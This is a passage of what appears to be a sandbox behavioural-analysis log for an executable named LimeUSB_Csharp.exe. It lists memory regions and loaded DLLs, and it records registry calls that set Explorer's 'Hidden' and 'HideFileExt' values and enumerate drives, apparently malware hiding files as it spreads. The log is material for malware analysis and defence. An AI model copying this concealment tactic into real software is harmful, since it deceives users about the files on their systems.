end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 3309 start_va = 0x4f0000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 3310 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3311 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3312 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3313 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3314 start_va = 0x4f0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 3315 start_va = 0x6d0000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 3316 start_va = 0x750000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 3317 start_va = 0x7fef3c20000 end_va = 0x7fef3cc8fff monitored = 1 entry_point = 0x7fef3c21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 3318 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 3319 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3320 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3321 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3322 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3323 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3324 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3325 start_va = 0x850000 end_va = 0x9d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 3326 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3327 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3328 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3329 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3330 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3331 start_va = 0x9e0000 end_va = 0xb60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 3332 start_va = 0x19f0000 end_va = 0x2deffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019f0000" filename = "" Region: id = 3333 start_va = 0x2df0000 end_va = 0x38acfff monitored = 1 entry_point = 0x38ae3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3334 start_va = 0x2df0000 end_va = 0x38acfff monitored = 1 entry_point = 0x38ae3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3335 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3336 start_va = 0x7fef0d40000 end_va = 0x7fef1806fff monitored = 1 entry_point = 0x7fef0d463a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3337 start_va = 0x7fef0270000 end_va = 0x7fef0d36fff monitored = 1 entry_point = 0x7fef02763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3338 start_va = 0x7fef0d40000 end_va = 0x7fef1806fff monitored = 1 entry_point = 0x7fef0d463a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3339 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 3340 start_va = 0x7fef3760000 end_va = 0x7fef381cfff monitored = 0 entry_point = 0x7fef37e7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 3341 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3342 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3344 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3345 start_va = 0x7fe916f0000 end_va = 0x7fe916fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe916f0000" filename = "" Region: id = 3346 start_va = 0x7fe91700000 end_va = 0x7fe9170ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91700000" filename = "" Region: id = 3347 start_va = 0x7fe91710000 end_va = 0x7fe9179ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91710000" filename = "" Region: id = 3348 start_va = 0x7fe917a0000 end_va = 0x7fe9180ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe917a0000" filename = "" Region: id = 3349 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3350 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 3351 start_va = 0xb70000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 3352 start_va = 0x2df0000 end_va = 0x2fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 3353 start_va = 0xbb0000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 3354 start_va = 0xcd0000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 3355 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3356 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3357 start_va = 0x2fe0000 end_va = 0x1afdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 3358 start_va = 0x1afe0000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afe0000" filename = "" Region: id = 3359 start_va = 0xd50000 end_va = 0xe50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 3360 start_va = 0x1b460000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b460000" filename = "" Region: id = 3361 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3362 start_va = 0x2e10000 end_va = 0x2f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 3363 start_va = 0x2f60000 end_va = 0x2fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f60000" filename = "" Region: id = 3364 start_va = 0x1b360000 end_va = 0x1b45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 3365 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3368 start_va = 0x1b560000 end_va = 0x1b82efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3369 start_va = 0x7feef740000 end_va = 0x7fef0d3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 3370 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 3371 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 3372 start_va = 0x7fe91810000 end_va = 0x7fe9188ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91810000" filename = "" Region: id = 3373 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3374 start_va = 0x3f0000 end_va = 0x46cfff monitored = 0 entry_point = 0x3fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3375 start_va = 0x3f0000 end_va = 0x46cfff monitored = 0 entry_point = 0x3fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3376 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3381 start_va = 0x7fef8e70000 end_va = 0x7fef8e72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 3382 start_va = 0x7fef3140000 end_va = 0x7fef328efff monitored = 1 entry_point = 0x7fef3141090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 3383 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3384 start_va = 0x1b830000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b830000" filename = "" Region: id = 3385 start_va = 0x7fe91890000 end_va = 0x7fe9189ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91890000" filename = "" Region: id = 3386 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3387 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3388 start_va = 0x7fef1810000 end_va = 0x7fef247efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 3389 start_va = 0x7fef2f40000 end_va = 0x7fef3134fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 3390 start_va = 0x7feed5e0000 end_va = 0x7feee685fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 3391 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3392 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3393 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3394 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3395 start_va = 0x7fef8dd0000 end_va = 0x7fef8de5fff monitored = 1 entry_point = 0x7fef8dde5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 3396 start_va = 0x1ba60000 end_va = 0x1bd31fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 94 os_tid = 0x9d0 [0177.164] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0179.979] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x2eecc8 | out: phkResult=0x2eecc8*=0x1c8) returned 0x0 [0179.981] RegQueryValueExW (in: hKey=0x1c8, lpValueName="Hidden", lpReserved=0x0, lpType=0x2eed18, lpData=0x0, lpcbData=0x2eed10*=0x0 | out: lpType=0x2eed18*=0x4, lpData=0x0, lpcbData=0x2eed10*=0x4) returned 0x0 [0179.981] RegQueryValueExW (in: hKey=0x1c8, lpValueName="Hidden", lpReserved=0x0, lpType=0x2eed18, lpData=0x2eecf8, lpcbData=0x2eed10*=0x4 | out: lpType=0x2eed18*=0x4, lpData=0x2eecf8*=0x2, lpcbData=0x2eed10*=0x4) returned 0x0 [0179.993] RegQueryValueExW (in: hKey=0x1c8, lpValueName="Hidden", lpReserved=0x0, lpType=0x2eecd8, lpData=0x0, lpcbData=0x2eecd0*=0x0 | out: lpType=0x2eecd8*=0x4, lpData=0x0, lpcbData=0x2eecd0*=0x4) returned 0x0 [0179.995] RegSetValueExW (in: hKey=0x1c8, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x2eed48*=0x2, cbData=0x4 | out: lpData=0x2eed48*=0x2) returned 0x0 [0179.995] RegQueryValueExW (in: hKey=0x1c8, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x2eed18, lpData=0x0, lpcbData=0x2eed10*=0x0 | out: lpType=0x2eed18*=0x4, lpData=0x0, lpcbData=0x2eed10*=0x4) returned 0x0 [0179.995] RegQueryValueExW (in: hKey=0x1c8, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x2eed18, lpData=0x2eecf8, lpcbData=0x2eed10*=0x4 | out: lpType=0x2eed18*=0x4, lpData=0x2eecf8*=0x1, lpcbData=0x2eed10*=0x4) returned 0x0 [0179.996] RegQueryValueExW (in: hKey=0x1c8, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x2eecd8, lpData=0x0, lpcbData=0x2eecd0*=0x0 | out: lpType=0x2eecd8*=0x4, lpData=0x0, lpcbData=0x2eecd0*=0x4) returned 0x0 [0179.996] RegSetValueExW (in: hKey=0x1c8, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x2eed48*=0x1, cbData=0x4 | out: lpData=0x2eed48*=0x1) returned 0x0 [0179.999] GetLogicalDrives () returned 0x4 [0180.013] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x2edc58 | out: phkResult=0x2edc58*=0x0) returned 0x2 [0180.014] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0180.025] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x2ee6b0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0180.026] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0180.028] CoGetContextToken (in: pToken=0x2efb60 | out: pToken=0x2efb60) returned 0x0 [0180.028] CObjectContext::QueryInterface () returned 0x0 [0180.028] CObjectContext::GetCurrentThreadType () returned 0x0 [0180.028] Release () returned 0x0 [0180.030] CoGetContextToken (in: pToken=0x2ef600 | out: pToken=0x2ef600) returned 0x0 [0180.030] CObjectContext::QueryInterface () returned 0x0 [0180.030] CObjectContext::GetCurrentThreadType () returned 0x0 [0180.030] Release () returned 0x0 [0180.030] CoGetContextToken (in: pToken=0x2ef600 | out: pToken=0x2ef600) returned 0x0 [0180.030] CObjectContext::QueryInterface () returned 0x0 [0180.030] CObjectContext::GetCurrentThreadType () returned 0x0 [0180.030] Release () returned 0x0 [0180.034] CoGetContextToken (in: pToken=0x2ef600 | out: pToken=0x2ef600) returned 0x0 [0180.034] CObjectContext::QueryInterface () returned 0x0 [0180.034] CObjectContext::GetCurrentThreadType () returned 0x0 [0180.034] Release () returned 0x0 [0180.035] CoGetContextToken (in: pToken=0x2ef620 | out: pToken=0x2ef620) returned 0x0 [0180.035] CObjectContext::QueryInterface () returned 0x0 [0180.035] CObjectContext::GetCurrentThreadType () returned 0x0 [0180.036] Release () returned 0x0 [0180.037] CoUninitialize () Thread: id = 95 os_tid = 0x514 Thread: id = 96 os_tid = 0x6b8 [0178.461] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0180.032] RegCloseKey (hKey=0x1c8) returned 0x0 [0180.032] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 97 os_tid = 0x764 Process: id = "21" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x11f0b000" os_pid = "0x21c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3427 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3428 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3429 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3430 start_va = 0x70000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3431 start_va = 0xf20000 end_va = 0x19e3fff monitored = 1 entry_point = 0x19de3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3432 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3433 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3434 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3435 start_va = 0x7fff0000 end_va = 0x7fff0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3436 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3437 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3438 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3439 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3440 start_va = 0x170000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3441 start_va = 0x7fef8d80000 end_va = 0x7fef8deefff monitored = 1 entry_point = 0x7fef8d81134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3442 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3443 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3444 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3445 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3446 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3447 start_va = 0x170000 end_va = 0x1d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3448 start_va = 0x240000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3449 start_va = 0x2c0000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 3450 start_va = 0x2c0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 3451 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 3452 start_va = 0x3c0000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3453 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3454 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3455 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3456 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3457 start_va = 0x480000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 3458 start_va = 0x480000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 3459 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 3460 start_va = 0x7fef8cd0000 end_va = 0x7fef8d78fff monitored = 1 entry_point = 